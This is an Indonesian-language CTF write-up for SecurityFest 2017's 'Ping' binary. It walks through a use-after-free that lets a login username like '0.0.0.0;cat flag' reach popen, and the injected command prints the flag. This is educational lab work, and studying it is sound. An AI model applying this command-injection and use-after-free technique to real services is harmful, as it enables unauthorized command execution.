Security Fest 2017: Ping 50
Hari ini saya ingin mengulas salah satu tantangan di SecurityFest CTF 2017. Diberikan satu binary dimana saya harus mencari kelemahan didalamnya dan mencoba mengakses server tanpa otentikasi yang seharusnya saat binary dijalankan, ia meminta username yang disimpan dalam variabel ptr
dan dialokasikan pada memori heap.
Saat program dijalankan.
./ping_17b9ad3601303bc42e8dff81c6391dac
====Login====
Enter username: dummy
Pseudocode fungsi login.
int sub_400A3E()
{
int v0; // ST0C_4@1
puts("====Login====");
printf("Enter username: ");
v0 = sub_400986(256);
ptr = malloc(v0 + 1);
memcpy(ptr, byte_602060, v0);
return puts("Logged in!");
}
Pada opsi Set IP
, binary meminta IP yang disimpan dalam variabel dest dan dialokasikan pada memori heap.
Logged in!
Ping! Welcome dummy
===============
1) Set IP
2) Ping
3) Logout
#> 1
Enter IP-address: 0.0.0.0
IP set! Ready to ping
Opsi 3 dipilih dengan isian N
agar variabel ptr
dan dest
dibebaskan dari memori heap.
Ping! Welcome dummy
===============
1) Set IP
2) Ping
3) Logout
#> 3
Logged out!
Do you want to quit too Y/N?:N
====Login====
Enter username:
__int64 sub_400AB1()
{
__int64 result; // rax@5
printf("Logged out!\nDo you want to quit too Y/N?:");
if ( ptr )
free(ptr);
if ( dest )
free(dest);
read(0, &byte_602040, 2uLL);
result = (unsigned int)byte_602040;
if ( (_DWORD)result == 89 )
exit(0);
return result;
}
Pada pilihan berikutnya, masukkan payload command injection agar disimpan dalam variabel ptr
.
Enter username: 0.0.0.0;cat flag
Logged in!
Ping! Welcome 0.0.0.0;cat flag
===============
1) Set IP
2) Ping
3) Logout
#> 2
Pilih opsi 2, dimana fungsi tersebut akan menggunakan variabel ptr sebagai pengganti variabel dest yang telah dibebaskan sebelumnya dan akan payload tersebut akan berjalan sebagaimana mestinnya disebabkan oleh fungsi popen
yang cukup berbahaya.
PING 0.0.0.0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.042 ms
--- 0.0.0.0 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.042/0.042/0.042/0.000 ms
SCTF{p1ng_p0ng_h3r3_1s_4_fl4g}
Ping! Welcome 0.0.0.0;cat flag
===============
1) Set IP
2) Ping
3) Logout
#>
Kesimpulannya, binary ini memiliki kelemahan Use After Free
dan fungsi popen
yang sangat terbuka.